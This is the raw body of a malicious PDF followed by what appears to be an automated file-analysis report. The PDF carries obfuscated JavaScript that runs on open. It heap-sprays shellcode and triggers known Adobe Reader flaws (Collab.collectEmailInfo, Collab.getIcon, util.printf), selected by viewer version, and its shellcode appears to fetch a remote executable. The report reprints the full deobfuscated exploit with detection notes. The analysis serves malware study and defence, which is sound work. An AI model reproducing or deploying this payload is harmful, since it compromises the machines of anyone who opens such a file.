21 0 R
23 0 R
]
/Count 11
>>
endobj
25 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
26 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
27 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
28 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
29 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
30 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2430>>
stream
���� JFIF ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C
$.' ",# (7),01444 '9=82<.342��C
2! !22222222222222222222222222222222222222222222222222�� � � " ��
�ĵ } !1A Qa "q 2��� #B�� R��$3br�
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������
�ĵ w !1 AQ aq "2� B���� #3R� br�
$4�%� &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������� ?�(��K9 (� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(�@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ Q@ hX �).]s��G���� ��۬I � ���D�j�h�Ki�?5�*��5,�3O��BG�j��_���(� E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E u8� V֢T.䁜*�)V*z�����a� �>� 4��x�ֹ�S�ש����*(�� ��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �)�G��@��nڱ�wd2�R
� QILAE P E P E P E P E P E P E P J �RQ@ d���P S%�icT`8���4T(El�rl(���B�(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� � � pE% bP&�L���
�R�/����� � ��)��5�n�)r�\�h��Ѐ��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��|i���� e k~���3QJ�>vg���J� QTPQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE S�}� �E -2 a">=�Ⱦ^�wz���� TB�(�((��(��(��(��(��(��(��(��(��(��(��(��(��*H�iA*G � Ml�e�f⓽� "�6���I$&% �s�S �����wO�M���J� QV E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P @89���.#� ?6:b��Y�=M% *)QE @ QE QE QE QE QE QE S�; UI � ��i����*\�b�"��kIV2� rFy�)Fq��� ��QE c
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��/X �ǡ�Ik+�� 9 � �xs� �гH��[ �N+�� ������ �\�fx�W$�{�y�Ӄ�� ����M���䔟r�l�
(��((��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��*kkg��b��$� Z���1)�g��>�˺;tTQ�?�YNR�,P �
� �8���� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 27 0 R
/F2 28 0 R
/F3 29 0 R
>>
/XObject <<
/I1 30 0 R
>>
/Properties <</OC1 25 0 R /OC2 26 0 R>>
/ExtGState <<
>>
>>
endobj
31 0 obj
<<
/Names [(EmbeddedJS) 32 0 R ]
>>
endobj
32 0 obj
<<
/S /JavaScript
/JS (��var dkBf5m8ez=new Array\('sI0VlNTVRS','ba5skywBL'\);var ftMRyijdtO=new Array\(\);ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array\(\);var pDGMEz9Ab;function yQz94YUyH\(t8qImRLy, uO6hGkBKd\){while\(t8qImRLy.length * 2 < uO6hGkBKd\){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring\(0, uO6hGkBKd / 2\);return t8qImRLy;}function cI0ZIhIXc\(z68pN8bAl\){if\(z68pN8bAl == 0\){var eIN5pLACV = 0x0c0c0c0c;}else if\(z68pN8bAl == 1\){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array\(\\"%u5350%u52\\",\\"51%u5756\\",\\"%u9c5\\",\\"5%u00\\",\\"e8%u000\\",\\"0%u5d00%u\\",\\"ed83%u\\",\\"310d%u\\",\\"64c0%u400\\",\\"3%u7830%\\",\\"u8b0c%u\\",\\"0c40%u708\\",\\"b%uad\\",\\"1c%u408b\\",\\"%ueb08%\\",\\"u8b09%u344\\",\\"0%u408\\",\\"d%u8b7\\",\\"c%u3c\\",\\"40%u5756%u\\",\\"5ebe%u0\\",\\"001%u01\\",\\"00%ubf\\",\\"ee%u014\\",\\"e%u0000\\",\\"%uef01%\\",\\"ud6e8\\",\\"%u0001%\\",\\"u5f00%\\",\\"u895e\\",\\"%u81ea%u5e\\",\\"c2%u0001%\\",\\"u5200%u80\\",\\"68%u0000%\\",\\"uff00\\",\\"%u4e95\\",\\"%u0001\\",\\"%u8900%\\",\\"u81ea%u5\\",\\"ec2%u000\\",\\"1%u310\\",\\"0%u01\\",\\"f6%u8ac2%u\\",\\"359c%u0263\\",\\"%u000\\",\\"0%ufb80%u7\\",\\"400%u8806%\\",\\"u321c%ueb\\",\\"46%uc6ee\\",\\"%u320\\",\\"4%u89\\",\\"00%u8\\",\\"1ea%u45c2\\",\\"%u0002%u\\",\\"5200%u95\\",\\"ff%u0152%\\",\\"u0000%\\",\\"uea89%uc2\\",\\"81%u0250\\",\\"%u0000%u5\\",\\"052%u95ff\\",\\"%u015\\",\\"6%u000\\",\\"0%u006a%u\\",\\"006a%ue\\",\\"a89%uc2\\",\\"81%u0\\",\\"15e%u000\\",\\"0%u8952%u8\\",\\"1ea%u7\\",\\"8c2%u0002%\\",\\"u5200\\",\\"%u006a%u\\",\\"d0ff%\\",\\"u056a%\\",\\"uea89%u\\",\\"c281%u015e\\",\\"%u0000%uf\\",\\"f52%u\\",\\"5a95%u0001\\",\\"%u8900%u\\",\\"81ea%u5\\",\\"ec2%u\\",\\"0001%u520\\",\\"0%u8068%u\\",\\"0000%u\\",\\"ff00%u4e9\\",\\"5%u0001%\\",\\"u8900\\",\\"%u81ea%\\",\\"u5ec2%u000\\",\\"1%u3100%\\",\\"u01f6%u8ac\\",\\"2%u359c%\\",\\"u026e%u0\\",\\"000%u\\",\\"fb80%u7400\\",\\"%u8806%\\",\\"u321c%ueb4\\",\\"6%uc6ee\\",\\"%u3204%\\",\\"u8900%u8\\",\\"1ea%u\\",\\"45c2%\\",\\"u0002%u520\\",\\"0%u95ff\\",\\"%u0152%u\\",\\"0000%u\\",\\"ea89%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95\\",\\"ff%u0156\\",\\"%u0000\\",\\"%u006a%u0\\",\\"06a%uea89\\",\\"%uc281%u0\\",\\"15e%u0\\",\\"000%u8952%\\",\\"u81ea%ua6\\",\\"c2%u0002%u\\",\\"5200%u0\\",\\"06a%ud\\",\\"0ff%u056\\",\\"a%uea8\\",\\"9%uc281\\",\\"%u015e%u\\",\\"0000%uff52\\",\\"%u5a95%\\",\\"u0001%u9d\\",\\"00%u5f5d\\",\\"%u5a5e%u\\",\\"5b59%uc35\\",\\"8%u000\\",\\"0%u00\\",\\"00%u000\\",\\"0%u00\\",\\"00%u0\\",\\"000%u0000\\",\\"%u0000%u\\",\\"0000%u6\\",\\"547%u54\\",\\"74%u6d6\\",\\"5%u5070\\",\\"%u7461%\\",\\"u4168%\\",\\"u4c00%u\\",\\"616f%\\",\\"u4c64%u6\\",\\"269%u617\\",\\"2%u7972%u0\\",\\"041%u6\\",\\"547%u50\\",\\"74%u6f72%\\",\\"u4163%\\",\\"u6464\\",\\"%u6572\\",\\"%u7373%u\\",\\"5700%u6e\\",\\"69%u7\\",\\"845%u6365\\",\\"%ubb00%u\\",\\"f289%\\",\\"uf789%\\",\\"uc030\\",\\"%u75ae\\",\\"%u29f\\",\\"d%u89f\\",\\"7%u31\\",\\"f9%ube\\",\\"c0%u003c%\\",\\"u0000%\\",\\"ub503%u021\\",\\"b%u000\\",\\"0%uad6\\",\\"6%u8503%u\\",\\"021b%u\\",\\"0000%u708\\",\\"b%u8378%u1\\",\\"cc6%ub503%\\",\\"u021b%\\",\\"u0000%\\",\\"ubd8d%u02\\",\\"1f%u00\\",\\"00%u03ad%u\\",\\"1b85%u00\\",\\"02%uab\\",\\"00%u03ad%u\\",\\"1b85%u\\",\\"0002%u\\",\\"5000%ua\\",\\"dab%u850\\",\\"3%u021b%u0\\",\\"000%u5ea\\",\\"b%udb31%\\",\\"u56ad\\",\\"%u8503\\",\\"%u021b%u0\\",\\"000%uc689%\\",\\"ud789%\\",\\"ufc51%ua6f\\",\\"3%u7459%u\\",\\"5e04%ueb4\\",\\"3%u5ee\\",\\"9%ud19\\",\\"3%u03e0%\\",\\"u2785\\",\\"%u0002%\\",\\"u3100%u96\\",\\"f6%uad6\\",\\"6%ue0c\\",\\"1%u0302%u1\\",\\"f85%u0002%\\",\\"u8900%u\\",\\"adc6%u8\\",\\"503%u021\\",\\"b%u000\\",\\"0%uebc3%u\\",\\"0010%\\",\\"u0000\\",\\"%u0000%u00\\",\\"00%u00\\",\\"00%u0\\",\\"000%u00\\",\\"00%u0000%u\\",\\"8900%\\",\\"u1b85%u000\\",\\"2%u5600\\",\\"%ue857\\",\\"%uff58%u\\",\\"ffff%u5e\\",\\"5f%u01ab%\\",\\"u80ce%ubb\\",\\"3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4f\\",\\"4d%u2e\\",\\"4e%u4c44\\",\\"%u004c%\\",\\"u5255%\\",\\"u444c%u77\\",\\"6f%u6c6e\\",\\"%u616f%\\",\\"u5464%u\\",\\"466f%u6c69\\",\\"%u416\\",\\"5%u750\\",\\"0%u6470\\",\\"%u7461\\",\\"%u2e65%u7\\",\\"865%u0065\\",\\"%u7263%u7\\",\\"361%u2e6\\",\\"8%u6870%u\\",\\"0070%u74\\",\\"68%u7074%u\\",\\"2f3a%\\",\\"u732f\\",\\"%u617\\",\\"4%u6c\\",\\"6c%u6176%\\",\\"u7372\\",\\"%u382d%u\\",\\"632e%u2\\",\\"f6e%u7473\\",\\"%u2f3\\",\\"8%u7075\\",\\"%u6164%u\\",\\"6574%u\\",\\"702e%u\\",\\"7068%u693f\\",\\"%u3d64%u\\",\\"2633%u\\",\\"6572%u3d7\\",\\"4%u6b6f\\",\\"%u9000\\"\);qY8to5fN9 = unescape\(qY8to5fN9.join\(\\"\\"\)\);var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - \(yMGJO436pz + 0x38\);var t8qImRLy = unescape\(\\"%u9090%u9090\\"\);t8qImRLy = yQz94YUyH\(t8qImRLy, uO6hGkBKd\);var wSOl4h7B = \(eIN5pLACV - 0x400000\) / mjIyzX45B;for\(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++\){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN\(\){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString\(\);app.clearTimeOut\(pDGMEz9Ab\);if\(\(qZbpL6A4 >= 8 && qZbpL6A4 < 8.102\) || qZbpL6A4 < 7.1\){cI0ZIhIXc\(0\);var h9nwsWTHsf = unescape\(\\"%u0c0c%u0c0c\\"\);while\(h9nwsWTHsf.length < 44952\) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\\"collabStore\\"] = auOUl5kqAQ[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : h9nwsWTHsf}\);}if\(\(qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104\) || \(qZbpL6A4 >= 9 && qZbpL6A4 < 9.1\) || qZbpL6A4 <= 7.101\){try{if\(app.doc.Collab.getIcon\){cI0ZIhIXc\(2\);var tsGQ5lRXX = unescape\(\\" \\"\);while\(tsGQ5lRXX.length < 0x4000\){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \\"N.\\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(tsGQ5lRXX\);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch\(e\){vFp16ohgjX = 1;}if\(vFp16ohgjX == 1\){if\(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1\){cI0ZIhIXc\(1\);var eM1GFaEh = \\"12999999999999999999\\";for\(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++\){eM1GFaEh += \\"8\\";}var dBuIuB2lL = util;dBuIuB2lL[\\"printf\\"]\(\\"E000f\\", eM1GFaEh\);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut\(\\"app.tQgzaH2xWs\(\)\\", 10\);';this.aP8WLvtql=30574;function kdfijC2vl5\(b7dSkmfjGf,nXCfF4je\){return false;}function eouHVJaqU\(vjeGnJYx\){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace\(/[]/g, ''\);iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array\('gphvRem5E1','i1US5n4s','jZrMLXAa0'\);var brkQZv4D = 'eval';app[brkQZv4D]\(diiH1sBFC\);var lbLFdNd7r=new Array\('pVfnTVos','dlhO4OvBI','fSZsSgA5H'\);function gEqlgxELr\(\){return false;}function kLf9pm3V2r\(\){return false;})
>>
endobj
33 0 obj
<<
/Title (��thoseMiddleForm)
/Author (��ametGalleyRandom)
/Subject (��goodOfFrom)
/Keywords (��tendNowTheir, thereGoingRepeat, needTextTheir)
/Creator (��sureIn)
/Producer (��18b8ea83d814103c4a8f379165ce9a62)
/CreationDate (D:20091013200308+04'00')
/ModDate (D:20091013200308+04'00')
>>
endobj
34 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 31 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [25 0 R 26 0 R] /D <</ON [25 0 R] /OFF [26 0 R] /AS [<</Event /Print /OCGs [25 0 R 26 0 R] /Category [/Print]>> <</Event /View /OCGs [25 0 R 26 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 35
0000000000 65535 f
0000017968 00000 n
0000021245 00000 n
0000000009 00000 n
0000000117 00000 n
0000001652 00000 n
0000001760 00000 n
0000003239 00000 n
0000003347 00000 n
0000004887 00000 n
0000004996 00000 n
0000006533 00000 n
0000006643 00000 n
0000008178 00000 n
0000008288 00000 n
0000009793 00000 n
0000009903 00000 n
0000011470 00000 n
0000011580 00000 n
0000013135 00000 n
0000013245 00000 n
0000014782 00000 n
0000014892 00000 n
0000016465 00000 n
0000016575 00000 n
0000018094 00000 n
0000018210 00000 n
0000018324 00000 n
0000018431 00000 n
0000018540 00000 n
0000018648 00000 n
0000021440 00000 n
0000021492 00000 n
0000034112 00000 n
0000034540 00000 n
trailer
<<
/Size 35
/Root 34 0 R
/Info 33 0 R
>>
startxref
34942
%%EOF
|
|||
generic_stage_recovery_010.js |
deobfuscated-js | generic stage recovery null-collapse -> split-literal-normalize -> percent-decode from JavaScript object 32 at offset 0x53F4 | 5933 bytes |
SHA-256: 7cf1ac3cc73d7591e365c61af56b4a8d5a6460efc24ea68d72d954dd16383001 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 4 eval/decoder/string-building token(s). 38 of 71 identifiers look randomly generated (e.g. 'h9nwsWTHsf') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
��var dkBf5m8ez=new Array('sI0VlNTVRS','ba5skywBL');var ftMRyijdtO=new Array();ftMRyijdtO[0]=1531;var u3hSJJf7V8="qfbO2pDU";var xRbxIKG2Fh = 'var a6piUBmWS = new Array();var pDGMEz9Ab;function yQz94YUyH(t8qImRLy, uO6hGkBKd){while(t8qImRLy.length * 2 < uO6hGkBKd){t8qImRLy += t8qImRLy;}t8qImRLy = t8qImRLy.substring(0, uO6hGkBKd / 2);return t8qImRLy;}function cI0ZIhIXc(z68pN8bAl){if(z68pN8bAl == 0){var eIN5pLACV = 0x0c0c0c0c;}else if(z68pN8bAl == 1){eIN5pLACV = 0x30303030;}var qY8to5fN9 = new Array(\"%u5350%u52\",\"51%u5756\",\"%u9c5\",\"5%u00\",\"e8%u000\",\"0%u5d00%u\",\"ed83%u\",\"310d%u\",\"64c0%u400\",\"3%u7830%\",\"u8b0c%u\",\"0c40%u708\",\"b%uad\",\"1c%u408b\",\"%ueb08%\",\"u8b09%u344\",\"0%u408\",\"d%u8b7\",\"c%u3c\",\"40%u5756%u\",\"5ebe%u0\",\"001%u01\",\"00%ubf\",\"ee%u014\",\"e%u0000\",\"%uef01%\",\"ud6e8\",\"%u0001%\",\"u5f00%\",\"u895e\",\"%u81ea%u5e\",\"c2%u0001%\",\"u5200%u80\",\"68%u0000%\",\"uff00\",\"%u4e95\",\"%u0001\",\"%u8900%\",\"u81ea%u5\",\"ec2%u000\",\"1%u310\",\"0%u01\",\"f6%u8ac2%u\",\"359c%u0263\",\"%u000\",\"0%ufb80%u7\",\"400%u8806%\",\"u321c%ueb\",\"46%uc6ee\",\"%u320\",\"4%u89\",\"00%u8\",\"1ea%u45c2\",\"%u0002%u\",\"5200%u95\",\"ff%u0152%\",\"u0000%\",\"uea89%uc2\",\"81%u0250\",\"%u0000%u5\",\"052%u95ff\",\"%u015\",\"6%u000\",\"0%u006a%u\",\"006a%ue\",\"a89%uc2\",\"81%u0\",\"15e%u000\",\"0%u8952%u8\",\"1ea%u7\",\"8c2%u0002%\",\"u5200\",\"%u006a%u\",\"d0ff%\",\"u056a%\",\"uea89%u\",\"c281%u015e\",\"%u0000%uf\",\"f52%u\",\"5a95%u0001\",\"%u8900%u\",\"81ea%u5\",\"ec2%u\",\"0001%u520\",\"0%u8068%u\",\"0000%u\",\"ff00%u4e9\",\"5%u0001%\",\"u8900\",\"%u81ea%\",\"u5ec2%u000\",\"1%u3100%\",\"u01f6%u8ac\",\"2%u359c%\",\"u026e%u0\",\"000%u\",\"fb80%u7400\",\"%u8806%\",\"u321c%ueb4\",\"6%uc6ee\",\"%u3204%\",\"u8900%u8\",\"1ea%u\",\"45c2%\",\"u0002%u520\",\"0%u95ff\",\"%u0152%u\",\"0000%u\",\"ea89%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95\",\"ff%u0156\",\"%u0000\",\"%u006a%u0\",\"06a%uea89\",\"%uc281%u0\",\"15e%u0\",\"000%u8952%\",\"u81ea%ua6\",\"c2%u0002%u\",\"5200%u0\",\"06a%ud\",\"0ff%u056\",\"a%uea8\",\"9%uc281\",\"%u015e%u\",\"0000%uff52\",\"%u5a95%\",\"u0001%u9d\",\"00%u5f5d\",\"%u5a5e%u\",\"5b59%uc35\",\"8%u000\",\"0%u00\",\"00%u000\",\"0%u00\",\"00%u0\",\"000%u0000\",\"%u0000%u\",\"0000%u6\",\"547%u54\",\"74%u6d6\",\"5%u5070\",\"%u7461%\",\"u4168%\",\"u4c00%u\",\"616f%\",\"u4c64%u6\",\"269%u617\",\"2%u7972%u0\",\"041%u6\",\"547%u50\",\"74%u6f72%\",\"u4163%\",\"u6464\",\"%u6572\",\"%u7373%u\",\"5700%u6e\",\"69%u7\",\"845%u6365\",\"%ubb00%u\",\"f289%\",\"uf789%\",\"uc030\",\"%u75ae\",\"%u29f\",\"d%u89f\",\"7%u31\",\"f9%ube\",\"c0%u003c%\",\"u0000%\",\"ub503%u021\",\"b%u000\",\"0%uad6\",\"6%u8503%u\",\"021b%u\",\"0000%u708\",\"b%u8378%u1\",\"cc6%ub503%\",\"u021b%\",\"u0000%\",\"ubd8d%u02\",\"1f%u00\",\"00%u03ad%u\",\"1b85%u00\",\"02%uab\",\"00%u03ad%u\",\"1b85%u\",\"0002%u\",\"5000%ua\",\"dab%u850\",\"3%u021b%u0\",\"000%u5ea\",\"b%udb31%\",\"u56ad\",\"%u8503\",\"%u021b%u0\",\"000%uc689%\",\"ud789%\",\"ufc51%ua6f\",\"3%u7459%u\",\"5e04%ueb4\",\"3%u5ee\",\"9%ud19\",\"3%u03e0%\",\"u2785\",\"%u0002%\",\"u3100%u96\",\"f6%uad6\",\"6%ue0c\",\"1%u0302%u1\",\"f85%u0002%\",\"u8900%u\",\"adc6%u8\",\"503%u021\",\"b%u000\",\"0%uebc3%u\",\"0010%\",\"u0000\",\"%u0000%u00\",\"00%u00\",\"00%u0\",\"000%u00\",\"00%u0000%u\",\"8900%\",\"u1b85%u000\",\"2%u5600\",\"%ue857\",\"%uff58%u\",\"ffff%u5e\",\"5f%u01ab%\",\"u80ce%ubb\",\"3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4f\",\"4d%u2e\",\"4e%u4c44\",\"%u004c%\",\"u5255%\",\"u444c%u77\",\"6f%u6c6e\",\"%u616f%\",\"u5464%u\",\"466f%u6c69\",\"%u416\",\"5%u750\",\"0%u6470\",\"%u7461\",\"%u2e65%u7\",\"865%u0065\",\"%u7263%u7\",\"361%u2e6\",\"8%u6870%u\",\"0070%u74\",\"68%u7074%u\",\"2f3a%\",\"u732f\",\"%u617\",\"4%u6c\",\"6c%u6176%\",\"u7372\",\"%u382d%u\",\"632e%u2\",\"f6e%u7473\",\"%u2f3\",\"8%u7075\",\"%u6164%u\",\"6574%u\",\"702e%u\",\"7068%u693f\",\"%u3d64%u\",\"2633%u\",\"6572%u3d7\",\"4%u6b6f\",\"%u9000\");qY8to5fN9 = unescape(qY8to5fN9.join(\"\"));var mjIyzX45B = 0x400000;var yMGJO436pz = qY8to5fN9.length * 2;var uO6hGkBKd = mjIyzX45B - (yMGJO436pz + 0x38);var t8qImRLy = unescape(\"%u9090%u9090\");t8qImRLy = yQz94YUyH(t8qImRLy, uO6hGkBKd);var wSOl4h7B = (eIN5pLACV - 0x400000) / mjIyzX45B;for(var uhW2wUzOl = 0; uhW2wUzOl < wSOl4h7B; uhW2wUzOl++){a6piUBmWS[uhW2wUzOl] = t8qImRLy + qY8to5fN9;}}function kMa7ScnUN(){var vFp16ohgjX = 0;var qZbpL6A4 = app.viewerVersion.toString();app.clearTimeOut(pDGMEz9Ab);if((qZbpL6A4 >= 8 && qZbpL6A4 < 8.102) || qZbpL6A4 < 7.1){cI0ZIhIXc(0);var h9nwsWTHsf = unescape(\"%u0c0c%u0c0c\");while(h9nwsWTHsf.length < 44952) h9nwsWTHsf += h9nwsWTHsf;var krSp893PTw = this;var auOUl5kqAQ = Collab;krSp893PTw[\"collabStore\"] = auOUl5kqAQ[\"collectEmailInfo\"]({subj : \"\", msg : h9nwsWTHsf});}if((qZbpL6A4 >= 8.102 && qZbpL6A4 < 8.104) || (qZbpL6A4 >= 9 && qZbpL6A4 < 9.1) || qZbpL6A4 <= 7.101){try{if(app.doc.Collab.getIcon){cI0ZIhIXc(2);var tsGQ5lRXX = unescape(\" \");while(tsGQ5lRXX.length < 0x4000){tsGQ5lRXX += tsGQ5lRXX;}tsGQ5lRXX = \"N.\" + tsGQ5lRXX;var zkJcGjjF0 = app;zkJcGjjF0[\"doc\"][\"Collab\"][\"getIcon\"](tsGQ5lRXX);vFp16ohgjX = 1;}else{vFp16ohgjX = 1;}}catch(e){vFp16ohgjX = 1;}if(vFp16ohgjX == 1){if(qZbpL6A4 == 8.102 || qZbpL6A4 == 7.1){cI0ZIhIXc(1);var eM1GFaEh = \"12999999999999999999\";for(a7OUEohX = 0; a7OUEohX < 276; a7OUEohX++){eM1GFaEh += \"8\";}var dBuIuB2lL = util;dBuIuB2lL[\"printf\"](\"E000f\", eM1GFaEh);}}}}app.tQgzaH2xWs = kMa7ScnUN;pDGMEz9Ab = app.setTimeOut(\"app.tQgzaH2xWs()\", 10);';this.aP8WLvtql=30574;function kdfijC2vl5(b7dSkmfjGf,nXCfF4je){return false;}function eouHVJaqU(vjeGnJYx){return vjeGnJYx;}var diiH1sBFC = xRbxIKG2Fh.replace(/[]/g, '');iMdKrY2CxZ="tFs6Bl8kxA";qr9SOPPvq=false;var kvD4E09GQ=new Array('gphvRem5E1','i1US5n4s','jZrMLXAa0');var brkQZv4D = 'eval';app[brkQZv4D](diiH1sBFC);var lbLFdNd7r=new Array('pVfnTVos','dlhO4OvBI','fSZsSgA5H');function gEqlgxELr(){return false;}function kLf9pm3V2r(){return false;}
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.